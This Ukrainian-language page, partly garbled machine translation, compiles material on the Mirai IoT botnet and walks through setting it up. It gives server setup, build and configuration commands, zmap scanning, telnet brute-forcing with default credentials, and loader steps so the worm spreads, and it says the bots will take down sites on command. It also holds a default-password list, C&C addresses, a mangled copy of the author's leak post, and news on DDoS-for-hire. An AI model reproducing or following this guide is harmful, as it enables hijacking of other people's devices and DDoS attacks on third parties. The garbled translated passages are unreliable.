Вихідний код mirai. Установка та налаштування Mirai ботнета. Принцип дії Mirai

По суті, Mirai працює просто: він сканує інтернет у пошуках вразливих для брутфорсу та злому IoT-пристроїв, доступних через telnet. Малвар вражає переважно камери спостереження, DVR та роутери, а потім продовжує розмножуватися, подібно до черв'яка.

Від DDoS-атак, здійснених цим ботнетом нещодавно і найбільший у Європі. Пікова потужність атак досягала 620 Гбіт/с та більше 1 Тб/с. Щоб досягти таких результатів, зловмисники використовували UDP-, DNS- та HTTP-флуд, а також пакети GRE (Generic Routing Encapsulation), що експерти визнали вельми незвичайним.

Висновки фахівців MalwareTech загалом збігаються із цими спостереженнями. Так, за дванадцятигодинний період дослідники зафіксували близько 72 000 унікальних IP-адрес, і 4000 нових IP з'являлися щогодини. З цього аналітики прийшли до висновку, що розміри ботнета дуже скромні - всього близько 120 000 пристроїв на добу. І хоча, що ботнет набагато більший і називають цифри 1-1,5 млн ботів, з цим не згодні ні дослідники MalwareTech, ні фахівці компанії Akamai.

«Mirai, який практично всі ігнорували раніше, через простоту telnet-атак, минулого тижня став чи не головним предметом обговорення у ЗМІ у всьому світі, а правоохоронні органи розпочали розслідування, за підтримки багатьох міжнародних компаній», - пишуть дослідники. - «Вельми ймовірно, що тепер потужні DDoS-атаки стануть більш поширеною практикою, оскільки хакери будуть знаходити все більше і вразливіших IoT-пристроїв або почнуть заражати пристрої, захищені NAT. Виробникам напевно настав час припинити випускати пристрої з глобальними паролями за замовчуванням і переключитися на випуск пристроїв з випадково згенерованими паролями, вказуючи їх на нижній частині корпусу».

На додаток до звіту дослідники MalwareTech доклали відео, на якому показано карту заражень Mirai (див. нижче). Також на сайті дослідників можна знайти інтерактивну карту ботнету, яка оновлюється в реальному часі.

Нам знадобиться два VPS KVM сервери та домен. Віртуалізація саме KVM, OpenVZ повз цей раз.

Сервера я беру тут

На одному сервері ставитимемо сам ботнет, на другому скануватимемо ботів. (брутувати)

ВАЖЛИВО. Сервера повинні бути на базі Debian 8 і мати як мінімум 1GB RAM.

Домен будь-який, не має значення.

Вибачте звичайно, але розповідати як прикрутити домен VPS я не буду. Це не складно, самі розберетеся.

PuTTYі починаємо.

# apt-get update -y

# apt-get upgrade -y

# apt-get install unzip gcc golang electric-fence screen sudo git -y

# apt-get install mysql-server -y

# apt-get install mysql-client -y

# apt-get install apache2 -y

При установці MySQL потрібно буде створити пароль для доступу до MySQL для root користувача. Пароль нормальний придумаєте, без жодних "qwerty"

Запишіть кудись, він нам ще буде потрібен.

# sudo apt-get install curl git mercurial make binutils bison gcc build-essential -y

# bash< <(curl -s -S -L

Ви повинні бути зареєстровані, щоб побачити посилання.

)

# gvm install go1.4

# gvm use go1.4 [--default]

# gvm install go1.4 -B

# gvm use go1.4

# export GOROOT_BOOTSTRAP=$GOROOT

# gvm install go1.5

# gvm use go1.5

# gvm install go1.8

# gvm use go1.8

Після встановлення всіх утиліт, качаємо вихідні роботи -

Ви повинні бути зареєстровані, щоб побачити посилання.

І завантажуємо на сервер. Командою wget, або просто через програму WinSCP.

# unzip Mirai-Source-Code-master.zip

# cd Mirai-Source-Code-Master/mirai/tools

# gcc enc.c -o enc

# ./enc string *******(Свій домен пишемо, який прикрутили до сервера) і тиснемо Enter.

Тут ви побачите такий текст

XOR"ing 14 bytes of data...

\x41x4Cx41x0Cx41x4Ax43x4Cx45x47x4Fx47x0Cx41x4Dx4Fx22

14 - Тут буде інша цифра у вас, так що не хвилюйтеся, все вірно.

Копіюємо весь цей текст.

Відкриваємо через nano редактор, або через WinSCPфайл table.cякий знаходиться в папці mirai/bot

Повинні побачити це

Ви повинні бути зареєстровані, щоб побачити посилання.

Рядок add_entry(TABLE_CNC_DOMAIN- все, що в лапках міняємо на свій текст, який щойно скопіювали. Замість " 30 " пишемо свою цифру, яку теж щойно скопіювали. Теж саме робимо з рядком add_entry(TABLE_SCAN_CB_DOMAIN

Зберігаємо і закриваємо редактор.

Відкриваємо редактором файл mirai/cnc/main.go

Бачимо це -

Ви повинні бути зареєстровані, щоб побачити посилання.

"127.0.0.1" міняємо на "127.0.0.1:3306"

"password"змінюємо на наш MySQL пароль, який вводили раніше. "

Зберігаємо файл і закриваємо редактор.

Просто копіюйте всю цю хуйню, розповідати навіщо це потрібно, не буду.

# mkdir /etc/xcompile

# cd /etc/xcompile

#wget

Ви повинні бути зареєстровані, щоб побачити посилання.

#wget

Ви повинні бути зареєстровані, щоб побачити посилання.

#wget

Ви повинні бути зареєстровані, щоб побачити посилання.

#wget

Ви повинні бути зареєстровані, щоб побачити посилання.

#wget

Ви повинні бути зареєстровані, щоб побачити посилання.

#wget

Ви повинні бути зареєстровані, щоб побачити посилання.

#wget

Ви повинні бути зареєстровані, щоб побачити посилання.

#wget

Ви повинні бути зареєстровані, щоб побачити посилання.

#wget

Ви повинні бути зареєстровані, щоб побачити посилання.

# tar -jxf cross-compiler-armv4l.tar.bz2

# tar -jxf cross-compiler-i586.tar.bz2

# tar -jxf cross-compiler-m68k.tar.bz2

# tar -jxf cross-compiler-mips.tar.bz2

# tar -jxf cross-compiler-mipsel.tar.bz2

# tar -jxf cross-compiler-powerpc.tar.bz2

# tar -jxf cross-compiler-sh4.tar.bz2

# tar -jxf cross-compiler-sparc.tar.bz2

# tar -jxf cross-compiler-armv6l.tar.bz2

# rm *.tar.bz2

# mv cross-compiler-armv4l armv4l

# mv cross-compiler-i586 i586

# mv cross-compiler-m68k m68k

# mv cross-compiler-mips mips

# mv cross-compiler-mipsel mipsel

# mv cross-compiler-powerpc powerpc

# mv cross-compiler-sh4 sh4

# mv cross-compiler-sparc sparc

# mv cross-compiler-armv6l armv6l

# export PATH=$PATH:/etc/xcompile/armv4l/bin

# export PATH=$PATH:/etc/xcompile/i586/bin

# export PATH=$PATH:/etc/xcompile/m68k/bin

# export PATH=$PATH:/etc/xcompile/mips/bin

# export PATH=$PATH:/etc/xcompile/mipsel/bin

# export PATH=$PATH:/etc/xcompile/powerpc/bin

# export PATH=$PATH:/etc/xcompile/powerpc-440fp/bin

# export PATH=$PATH:/etc/xcompile/sh4/bin

# export PATH=$PATH:/etc/xcompile/sparc/bin

# export PATH=$PATH:/etc/xcompile/armv6l/bin

# export PATH=$PATH:/usr/local/go/bin

# export GOPATH=$HOME/Documents/go

# go get github.com/go-sql-driver/mysql

# go get github.com/mattn/go-shellwords

# cd Mirai-Source-Code-master/mirai

# ./build.sh debug telnet

# ./build.sh release telnet

# mv mirai* /var/www/html

# cd /var/www/html

# mkdir bins

# mv * bins/

Тепер MySQL.

# mysql -u root -p

Тут попросять пароль. Вводимо пароль, який раніше встановили.

# create database mirai;

# use mirai

Тепер копіюємо весь текст від сюди.

Ви повинні бути зареєстровані, щоб побачити посилання.

Вставляємо і тиснемо Enter.

Копіюємо текст від сюди -

Ви повинні бути зареєстровані, щоб побачити посилання.

Замість anna-senpaiпишемо свій логін. Будь-який. Так само і з моїмнеобхіднимword. Ці дані нам потрібні будуть для доступу до панелі керування ботом.

Має бути ось так - INSERT INTO users VALUES (NULL, "pizdec", "zaebalsjapisatj", 0, 0, 0, 0, -1, 1, 30, "");

Копіюємо, вставляємо, тиснемо Enter.

Тепер можна виходити.

Вже майже все.

# cd Mirai-Source-Code-master/mirai/release

# touch prompt.txt

# screen ./cnc

Повинні побачити напис MySQL DB Opened

Чи не закриваємо цю сесію, відкриваємо нову.

Ви повинні бути зареєстровані, щоб побачити посилання.

Замість ******* пишемо свій домен і тиснемо Open.

Вводимо логін та пароль, у моєму випадку це -

zaebalsjapisatj

Все, ми в панелі керування роботом.

Тепер нам потрібні боти. Тут все просто, інстали ніякі не потрібні.

Налаштуємо loader.

Loader потрібен для того, щоб ботів можна було б додавати з текстових файлів. Допустимо набрутили ми loT пристроїв (роутери, камери, телефони) і щоб їх додати в бот, потрібен loader.

Так само loader це "хробак"

Підключаємося до нашого сервера через PuTTY та WinSCP.

За допомогою WinSCP знаходимо файл main.cв папці Mirai-Source-Code-master/dlr

Пишемо IP нашого сервера як на скрині -

Ви повинні бути зареєстровані, щоб побачити посилання.

Коми залишаємо, так і має бути. Зберігаємо та закриваємо.

Тепер з PyTTYзаходимо на наш сервак і пишемо -

# cd Mirai-Source-Code-master/dlr

# chmod 777 *

# ./build.sh

# cd release

# mv dlr* ~/Mirai-Source-Code-master/loader/bins

Тепер відкриємо WinSCPта знаходимо файл main.cв папці Mirai-Source-Code-master/loader/src

Змінюємо на свій IP як на скрині -

Ви повинні бути зареєстровані, щоб побачити посилання.

Зберігаємо та закриваємо.

Через PuTTY -

# ./build.sh

За допомогою WinSCPвідкриваємо файл scanListen.goякий можна знайти у папці Mirai-Source-Code-master/mirai/tools

Змінюємо на свій IP сервера -

Ви повинні бути зареєстровані, щоб побачити посилання.

Потім з PyTTY -

# cd Mirai-Source-Code-master/mirai/tools

# go build scanListen.go

Тепер у нас з'явився новий файл scanListen(без .go, просто scanListen)

scanListenпотрібно перемістити до папки Mirai-Source-Code-master/loader

Просто за допомогою WinSCPкидаємо його в папку loader

Тепер перевіримо чи працює все

# ./loader

Якщо бачите те, що на скрині, значить все правильно -

Ви повинні бути зареєстровані, щоб побачити посилання.

Якщо виникають помилки, пишіть у тему, допоможу.

Щоб завантажити ботів зі списку, кидаємо текстовик у папку loaderі набираємо команду -

# cat list.txt | ./loader

Все, всі боти яких ви набрутили у вас, будуть класти сайти по вашій команді.

Я особисто цей спосіб не використав, знайшов легший спосіб.

Тут нам потрібний другий сервер. Так само на Debian 8.

# apt-get update -y

# apt-get upgrade -y

# apt-get install python-paramiko -y

# apt-get install zmap -y

zmapнам потрібний для сканування портів. Принцип роботи як у KPortScan, Тільки в 50 разів швидше.

Копіюємо весь код від сюди -

Ви повинні бути зареєстровані, щоб побачити посилання.

І зберігаємо як scan.py

Тут ви можете додати свої паролі та логіни.

Ви повинні бути зареєстровані, щоб побачити посилання.

Рядок comboне чіпаємо!

Тут потрібно прописати IP сервера, на якому стоїть бот.

Ви повинні бути зареєстровані, щоб побачити посилання.

Змінюємо все і зберігаємо.

Файл scan.py кидаємо у будь-яке місце на нашому сервері. На другому сервері, який чисто для сканування, на якому бот не чіпаємо.

Нам потрібні IP які ми скануватимемо.

#zmap -p22 -o list.txt -B 100M(можна й інші порти сканувати, я сканував 22 або 23 завжди)

Усі результати будуть у файлі list.txt

Після того як зібрали IP (чим більше тим краще) файл list.txtкидаємо поряд до файлу scan.pyі пишемо -

# python scan.py list.txt 500

Все, сидимо і дивимося, як росте наш ботнет.

Коли набереться хоч би 200 ботів, можна запустити loader.

Для цього заходимо на сервер де встановлений ботнет і -

# cd Mirai-Source-Code-master/loader

# ulimit -n 9999999

# ./scanListen | ./loader

Тепер бот працюватиме за принципом "хробака" і добиватиме ще роботів.

Минулого тижня в мережу вибігли вихідні складові ботнету Mirai - використаного при рекордних DDoS атаках потужністю до 1 Tб/с.

ст. 273 КК РФ. Створення, використання та розповсюдження шкідливих комп'ютерних програм

1. Створення, розповсюдження або використання комп'ютерних програм або іншої комп'ютерної інформації, свідомо призначених для несанкціонованого знищення, блокування, модифікації, копіювання комп'ютерної інформації або нейтралізації засобів захисту комп'ютерної інформації;

караються обмеженням волі на строк до чотирьох років, або примусовими роботами на строк до чотирьох років, або позбавленням волі на той же термін зі штрафом у розмірі до двохсот тисяч рублів або у розмірі заробітної плати чи іншого доходу, засудженого за період до вісімнадцяти місяців.

2. Діяння, передбачені частиною першою цієї статті, вчинені групою осіб за попередньою змовою або організованою групою або особою з використанням свого службового становища, а також завдали великих збитків або вчинених із корисливої ​​зацікавленості;

караються обмеженням волі на строк до чотирьох років, або примусовими роботами на строк до п'яти років з позбавленням права обіймати певні посади або займатися певною діяльністю на строк до трьох років або без, або позбавленням волі на строк до п'яти років зі штрафом у розмірі від ста тисяч до двохсот тисяч рублів або у розмірі заробітної плати або іншого доходу засудженого за період від двох до трьох років або без такого та з позбавленням права обіймати певні посади або займатися певною діяльністю на строк до трьох років або без такого.

3. Діяння, передбачені частинами першою або другою цієї статті, якщо вони спричинили тяжкі наслідки або створили загрозу їх настанню,

караються позбавленням волі терміном до семи років.

Цей ботнет складається в основному з камери, DVR пристроїв і т.д.

Зараження відбувається досить просто: інтернет сканується на відкриті 80/23 (web/telnet) порти та підбираються захардшкірені облікові записи.

Мало хто з користувачів змінює паролі вбудованих облікових записів (якщо це можливо), тому ботнет безперервно поповнюється новими пристроями. Якщо можна змінити пароль від веб-інтерфейсу перебуваючи в ньому, то пароль та й сама наявність telnet доступу від багатьох користувачів просто вислизає.

Найчастіше використовуються такі облікові записи:

enable:system
shell:sh
admin:admin
root:xc3511
root:vizxv
root:admin
root:xmhdipc
root:123456
root:888888
support:support
root:54321
root:juantech
root:anko
root:12345
admin:
root:default
admin:password
root:root
root:
user:user
admin:smcadmin
root:pass
admin:admin1234
root:1111
guest:12345
root:1234
root:password
root:666666
admin:1111
service:service
root:system
supervisor:supervisor
root:klv1234
administrator:1234
root:ikwb
root:Zte521

Після отримання доступу командний центр отримує бінарне повідомлення про наявність нового бота:

4a 9a d1 d1 = XXX.XXX.XXX.XXX (тут була адреса хоста)
05 = Tab
17 = 23 (Port 23 Telnet)
05 = Tab
61 64 6d 69 6e = username:admin admin
05 = Tab
61 64 6d 69 6e = user password: admin

Компоненти ботнета розраховані на роботу в різних середовищах, про що говорять виявлені семпли:

mirai.arm
mirai.arm7
mirai.mips
mirai.ppc
mirai.sh4

Командні сервери на даний момент зафіксовані на наступних адресах:

103.1.210.27
103.1.210.28
185.130.225.65
185.130.225.66
185.130.225.83
185.130.225.90
185.130.225.94
185.130.225.95
185.70.105.161
185.70.105.164
185.93.185.11
185.93.185.12
200.170.143.5
46.249.38.145
46.249.38.146
46.249.38.148
46.249.38.149
46.249.38.150
46.249.38.151
46.249.38.152
46.249.38.153
46.249.38.154
46.249.38.155
46.249.38.159
46.249.38.160
46.249.38.161
80.87.205.10
80.87.205.11

Інструкція зі створення ботнету досить проста, наводжу as is (джерело http://pastebin.com/E90i6yBB):

Greetz everybody,

When I first go in DDoS industry, I wasn’t planning on staying in it long. I made my money, there's lots of eyes looking в IOT now, so it's time to GTFO. However, I know every skid and their mama, it's their wet dream to have something besides qbot.

So today, I have an amazing release for you. With Mirai, I зазвичай пальці max 380k bots з telnet alone. However, після Kreb DDoS, ISPs been slowly shutting down and cleaning up their act. Сьогодні, max pull is about 300k bots, and dropping.

So, I am your senpai, і I will treat you real nice, my hf-chan.

І до всього, що вони були, щоб зробити будь-який, щоб зробити мою CNC, я мав гарні ласки, цей лад використовує домашній CNC. Це 60 seconds для всіх покупок, щоб reconnect, lol

Also, shoutout до цього blog post by malwaremustdie
http://blog.malwaremustdie.org/2016/08/mmd-0056-2016-linuxmirai-just.html
https://web.archive.org/web/20160930230210/http://blog.malwaremustdie.org/2016/08/mmd-0056-2016-linuxmirai-just.html<- backup in case low quality reverse engineer unixfreaxjp decides to edit his posts lol
Будьте багато речей для вас, тому що ви були хороші респондента, але ви дійсно just completely і повністю впевнені в перевірці цього binary. "Ми хотіли бути дуже приємними", я можу зробити мої приємні речі, ви робите багато містаків і згодом неспроможні деякі різновиди з мною. LOL

Let me give you some slaps back
1) port 48101 не є для з'єднання, він є для контролю для того, щоб запобігти множинним stances of bot running together
2) /dev/watchdog and /dev/misc не є для "відповіді", це для системи управління від hanging. Цей один є low-hanging fruit, so sad that you are extremely dumb
3) Ви помітили і думали FAKE_CNC_ADDR і FAKE_CNC_PORT був дійсним CNC, lol «Підставляти backdoor до з'єднання через HTTP на 65.222.202.53». you got tripped up by signal flow ;) try harder skiddo
4) Ваша skeleton інструменти розблокування ass, це означає, що атака decoder була «sinden style», але вона не може використовувати текст-основний протокол? CNC and bot communicate over binary protocol
5) ви можете 'chroot(«/») so predictable як torlus' but you don't understand, деякі інші kill based on cwd. Це показує, як ви можете вийти з реальним malware. Go back to skidland

Why are you writing reverse engineer інструменти? Ви не можете навіть правильно переглянути в першому місці. Please learn some skills перш ніж trying to impress others. Ваша агрегація в розголошенні того, що ви «не турбуєтеся» з вашим двором kung-fu statement зроблено мені приємно, якщо hard while eating my SO had to pat me on the back.

Just as I forever be free, you will be doomed до mediocracy forever.

Requirements
2 servers: 1 for CNC + mysql, 1 for scan receiver, and 1+ for loading

OP Requirements
2 VPS and 4 servers
- 1 VPS with extremely bulletproof host for database server
— 1 VPS, rootkitted, для scanReceiver and distributor
- 1 server for CNC (used like 2% CPU with 400k bots)
- 3x 10gbps NForce servers for loading (distributor distributes to 3 servers equally)

— Щоб встановити зв'язок з CNC, клацнути на домашній мові (resolv.c/resolv.h) і connect to that IP address
— Bots brute telnet using an advanced SYN scanner that is around 80x faster than the one in qbot, and uses almost 20x less resources. Коли йдеться про bruted результат, bot resolves інший domain and reports it. Це ведеться до окремого сервера до автоматичного завантаження напристроях як результати.
— Bruted results are sent by default on port 48101. The utility called scanListen.go в інструментах використовується як отримувати bruted results (I was getting around 500 bruted results per second at peak). Якщо ви збираєтеся в режимі debug, ви повинні бачити надійність зображенняListen binary appear in debug folder.

Mirai uses a spreading mechanism similar similar self-rep, але what I call «real-time-load». Основним чином, bots brute results, send it to server listening with scanListen utility, which sends the results to loader. Цей випадок (brute -> scanListen -> load -> brute) є відомий як реальний час loading.

Loader може бути налаштований для використання багаторазової IP-адреси до pass-port exhaustion in linux. less). I would have maybe 60k - 70k simultaneous outbound connections (simultaneous loading) spread out across 5 IPs.
Бот має several configuration options що є obfuscated в (table.c/table.h). In ./mirai/bot/table.h you can find most descriptions for configuration options. However, в ./mirai/bot/table.c є кілька функцій, які ви *необхідні* для зміни get working.

— TABLE_CNC_DOMAIN — Domain name of CNC to connect to — DDoS avoidance дуже fun with mirai, люди намагаються зробити його CNC але я update it faster than they can find new IPs, lol. Retards:)
— TABLE_CNC_PORT — Port для підключення до неї, її набір до 23 already
— TABLE_SCAN_CB_DOMAIN — Якщо ми finding bruted results, цей домашній it is reported to
— TABLE_SCAN_CB_PORT — Дозволяє connect to for bruted results, it is set to 48101 already.

In ./mirai/tools you will find something called enc.c — Ви маєте compile this to output things to put in the table.c file

Run this inside mirai directory

./build.sh debug telnet

Ви будете мати деякі errors, що стосуються cross-compilers, які не будуть, якщо ви не можете їх configured. This is ok, won’t affect compiling the enc tool

Now, в ./mirai/debug folder you should see a compiled binary called enc. Для прикладу, щоб отримати скасовану скриньку для домашнє ім'я для об'єктів, щоб підключити, використовувати це:

./debug/enc string fuck.the.police.com
The output should look like this

XOR'ing 20 bytes of data…
x44x57x41x49x0cx56x4ax47x0cx
Це update the TABLE_CNC_DOMAIN значення для прикладу, заміна того, що довгий hex string з одним виконаним за enc tool. Also, you see "XOR'ing 20 bytes of data". Ця величина повинна отримувати останні argument tas well. So для example, the table.c line originally looks як це
add_entry (TABLE_CNC_DOMAIN, «x41x4Cx41x0Cx41x4Ax43x4Cx45x47x4Fx47x0Cx41x4Dx4Fx22», 30); //cnc.changeme.com
Now that we know value from enc tool, we update it like this

add_entry(TABLE_CNC_DOMAIN, "x44x57x41x49x0cx56x4ax47x0cx52x4dx4ex4bx41x47x0cx41x4dx4f22" // fuck.the.police.com
Деякі значення є strings, деякі є port (uint16 in network order / big endian).
CONFIGURE THE CNC:
apt-get install mysql-server mysql-client

CNC потребує database to work. Якщо ви встановили 데이터베이스, виконайте його і виконуйте наступні дії:
http://pastebin.com/86d0iL9g

Це буде створювати 데이터베이스 для вас. Щоб отримати вашого користувача,

INSERT INTO users VALUES (NULL, 'anna-senpai', 'myawesomepassword', 0, 0, 0, 0, -1, 1, 30, »);
Now, go into file ./mirai/cnc/main.go

Edit these values
const DatabaseAddr string = "127.0.0.1"
const DatabaseUser string = «root»
const DatabasePass string = "password"
const DatabaseTable string = "mirai"
To the information for the mysql server you just installed

Cross compilers є easy, наступні інструкції на цьому link to set up. Ви повинні запустити вашу систему або відновити файл .bashrc для цих змін до такого ефекту.

http://pastebin.com/1rRCc3aD
The CNC, bot, and related tools:
http://dopefile.pk/a9f2n9ewk8om
How to build bot + CNC
In mirai folder, there is build.sh script.
./build.sh debug telnet

Будуть відтворювати блискавки банери, що не буде нібито і не повідомити info про те, якщо він може підключитися до CNC, etc, статуя floods, etc. Compiles to ./mirai/debug folder
./build.sh release telnet

Будуть випускати production-ready брокерів з bot, що є дуже stripped, невеликий (за 60K), які повинні бути завантажені напристроях. Compiles all binaries in format: "mirai.$ARCH" to ./mirai/release folder

Loader reads telnet entries from STDIN в наступному форматі:
ip:port user:pass
Це розпізнає, якщо є wget або tftp, і tries до завантаження binary using that. Якщо не, це буде echoload a tiny binary (за 1kb), що буде задовольнити як wget.
./build.sh

Буде будувати loader, optimized, виробництво використання, не fuss. Якщо ви маєте файл у форматах, використовуваних для навантаження, ви можете зробити це
cat file.txt | ./loader
Remember to ulimit!

Just so it's clear, I'm not providing any kind of 1 on 1 help tutorials or shit, too much time. Всі підписи і всі, що включаються до набору робіт, що працюють в межах 1 години. I am willing to help if you have individual questions (how come CNC no connecting to database, I did this this this blah blah), but not questions like «My bot not connect, fix it»

Це троян, про який усі пишуть останні кілька тижнів. З найбільш вражаючих досягнень ботнетів створених за допомогою нього - потужністю більш терабіту і в невеликій африканській країні.

Це ж скільки комп'ютерів він поневолив для цього?

Анітрохи. Або принаймні дуже мало. Цільові пристрої Mirai зовсім не комп'ютери, а IoT пристрої - відеореєстратори, камери, тостери ... За статистикою Level 3 Communications до кінця жовтня під контролем трояна вже близько півмільйона пристроїв.

І що, він прямий будь-які камери з холодильниками може захопити?

Не зовсім. Mirai заточений під пристрої, що працюють на базі Busybox – спрощеного набору UNIX-утиліт командного рядка, який використовується як основний інтерфейс у вбудованих операційні системи. Троян атакує лише певні платформи, наприклад ARM, ARM7, MIPS, PPC, SH4, SPARC та x86. У зоні ризику знаходяться лише пристрої із заводськими налаштуваннями або зовсім слабким захистом – інфікування відбувається за допомогою брутфорс-атаки на порт Telnet, для якого використовується список облікових даних адміністратора за умовчанням.

Якось неефективно виходить – шукати по всьому інтернету камери без паролів – хіба ні?

А ось і не вгадали. Журналіст з The Atlantic - орендував сервер, і написав програму, яка зображає тостер. Перша атака на "побутовий прилад" відбулася вже через 40 хвилин! Протягом наступних 11 годин "тостер" намагалися зламати більш ніж 300 разів. Справа в тому, що ботнети досягли небачених розмірів, і простір адрес IPv4 для них дуже маленький. До того ж варто пам'ятати, що хакери шукають вразливі пристрої не вручну - це роблять учасники ботнету. І оскільки кожен новонавернений “працівник” сам теж починає шукати жертв, ботнет росте в геометричній прогресії.

У геометричній прогресії? Тобто через рік ботнети утримуватимуть трильйони пристроїв?!

Звичайно ні 😀 Справа в тому, що кількість IoT пристроїв звичайно. І це вже досить актуальна проблема. Автор Mirai зізнається, що максимальна кількість пристроїв у його мережі була 380 тисяч, і після кількох атак, коли користувачі та провайдери почали вживати заходів захисту, кількість пристроїв впала до 300 тисяч і продовжує знижуватися.

Після того, як вихідний код Mirai був викладений у відкритий доступ, всі, кому не лінь дуже багато хакерів стали використовувати його. В даний час кількість великих ботнетів на основі цього трояна - близько 52. Варто уточнити, що кожен пристрій може належати тільки до однієї мережі - відразу після захоплення пристрою зловред забезпечує його захист від повторного зараження. Єдиний випадок, коли пристрій може перейти іншому власнику - це перезапуск пристрою. За словами фахівців, після перезапуску пристрій буде заражено знову протягом 30 секунд.

Тобто ефективність Mirai знижується?

Так. Хакери змушені боротися за обмежену кількість ресурсів, яка швидше скорочується (за рахунок запобіжних заходів), ніж зростає. Ситуацію ускладнює ще те, що хакери на редксоть егоїстичні - так, після великого керуючого сервера (Command and Control, C&C) ботнета був просто вимкнений - тепер ботсеть виявилася марною, та й невразливою до нових атак. Кожна нова мережана основі Mirai буде менше попередніх і зможе здійснювати лише атаки малої потужності. Наприклад, під час виборів у США були зроблені слабкі атаки на сайти Клінтон та Трампа. Вони не завдали жодної шкоди, і їх взагалі ніхто не помітив (крім компанії, яка спеціально стежить за діями цього трояна).

Зрозуміло. А що ще цікавого відомо про цей троян?

Він є спадкоємцем іншого трояна, який відомий під іменами Gafgyt, Lizkebab, BASHLITE, Bash0day, Bashdoor та Torlus. Останній відомий тим, що зміг підпорядкувати собі близько мільйона веб-камер з оцінки тієї ж Level 3 Communications. Відомо також, що більшість ботнетів використовують не чисту копію Mirai, а свої модифіковані версії (що дуже очікувано).

Ще один цікавий фактполягає в тому, що користувачі рунету знайшли в вихідний код Mirai російський слід - у файлі cnc/admin.go є висновок коментарів російською мовою:

cnc/admin.go: this.conn.Write(byte(“\033))

З іншого боку, це буде схоже на жарт - “перевіривши рахунки…” явна калька (машинний переклад?) з “checking accounts”.

Минулого місяця були скоєні атаки на великі сайти на зразок Twitterабо Spotify, які тимчасово вивели їх з ладу. Для цього використовувався ботнет Mirai, що поєднує 400-500 тисяч пристроїв інтернету речей. Тепер журналістам Motherboard стало відомо, що двоє хакерів зуміли захопити контроль над ботнетом і створити його нову версію - вона об'єднує вже мільйон пристроїв. Його міць встигли випробувати на собі абоненти німецького провайдера Deutsche Telekom, мережа якого не працювала минулими вихідними.

Полювання на Mirai

Журналістам вдалося поговорити з одним із двох цих таємничих хакерів – він використовує нікнейм BestBuy. У зашифрованому онлайн-чаті він розповів про те, що серед зломщиків розгорнулася справжня боротьба за контроль над Mirai. У його софті нещодавно було виявлено вразливість. Її використання разом зі швидкістю могли дозволити BestBuy та його партнеру під ніком Popopret захопити контроль над більшою частиною ботнета та доповнити його новими пристроями.

Раніше наші експерти вивчили код ботнету Mirai – з'ясувалося, що він не був створений спеціально для пристроїв інтернету речей. Шкідливий софт шукає підключені до мережі пристрої з дефолтними логіна-паролями (admin:admin, root:password і т.п.). Це означає, що теоретично до його складу можуть входити будь-які пристрої, включаючи домашні комп'ютери та сервери або роутери.

IoT-пристрою- Зазвичай роутери - входять до складу ботнета Miraiдо свого перезавантаження - потім черв'як стирається з їхньої пам'яті. Однак ботнет постійно сканує інтернет на предмет пошуку вразливих пристроїв, так що пристрій, що «вилікувався», може швидко знову стати його частиною. Серед хакерів розгорнулася справжня гонка за те, щоб першими інфікувати якнайбільше пристроїв.

Інформації про те, як творці нового Mirai встигають випередити конкурентів, немає. Однак вони заявили журналістам, що використовують власний ботнет для сканування потенційно вразливих пристроїв, у тому числі тих, що раніше також були частиною ботнету.

«Чому б не змусити Mirai полювати Mirai і поглинути оригінал», - каже BestBuy.

Не тільки Mirai

Однак новий ботнет не лише поглинув старі пристрої з Mirai та нові з дефолтними паролями. Його творці також використовують 0-day вразливості у прошивках IoT-пристроїв. Експерти раніше прогнозували швидку появу таких «комбінованих» ботнетів.

Боротьба з ними помітно ускладнюється - якщо для протистояння Mirai самому користувачеві кінцевого пристрою достатньо лише змінити логін і пароль для доступу до нього, то вразливість гаджета він ніяк не зможе впоратися самостійно.

DDoS на 700 Гбіт/сек

Хакери BestBuy і Popopret почали рекламувати свої послуги – вони пропонують доступ до своїх нової версії Mirai, розсилаючи спам-повідомлення через XMPP/Jabber,

За словами хакера, вони пропонують замовникам кілька пакетів послуг. Дешевше коштує $2 000 - за ці гроші клієнти можуть орендувати від 20 000 до 25 000вузлів ботнета для запуску вартових у період до двох тижнів з часом перерви між атаками у п'ятнадцять хвилин. За $15 000 або $20 000 замовники отримують можливість вже 600 000 ботів для запуску двогодинних атак із 30 або 15-хвилинними перервами. У другому випадку потужність атаки становитиме 700 Гбіт/секабо більше.

Перспективи

Безпека IoT-пристроївчасто знаходиться на досить низькому рівні - це пояснюється тим, що вендори часто не зацікавлені у впровадженні додаткових заходів інформаційної безпеки. Вони рекламують простоту використання своєї продукції, проте додаткові заходи ІБ накладають обмеження і вимагають витрат ресурсів.

Як сказано вище, захистити користувачів від більш розвинених ботнетів зможуть тільки розробники кінцевих пристроїв або провайдери, що їх надають (у разі роутерів). Німецький провайдер Deutsche Telekom, який постраждав від атаки нової версії Mirai, вже оголосив про те, що «перегляне ділові відносини» з постачальниками вразливих роутерів. Speedport, компанією Arcadyan.

Підвищити рівень захищеності інтернету речей зрештою можна буде за допомогою впровадження жорсткішого контролю пристроїв з боку провайдерів з одного боку, та розробкою стандартів та регулюючої документації для IoT з іншого. Подібних заходів вже вжито в багатьох країнах щодо забезпечення безпеки АСУ ТП. Перші кроки в цьому напрямку вже зроблено - наприклад, кілька IT-вендорів у вересні опублікували документ під назвою The Industrial Internet Security Framework (IISF)- У ньому пропонується вважати інтернет речей частиною «промислового інтернету».

Однак поки до остаточного вирішення питання ще далеко, і хакери BestBuy та Popopretможуть отримати монополію для проведення великих DDoS-атакв мережі. Це досить сумний факт, проте самі зломщики під час розмови з Motherboardзаявили про те, що у своїй діяльності керуватимуться не лише прибутком, а й моральними принципами. Так BestBuy заявив, що вони не дозволятимуть клієнтам атакувати IP-адреси компаній, що працюють із критичною інфраструктурою.




Top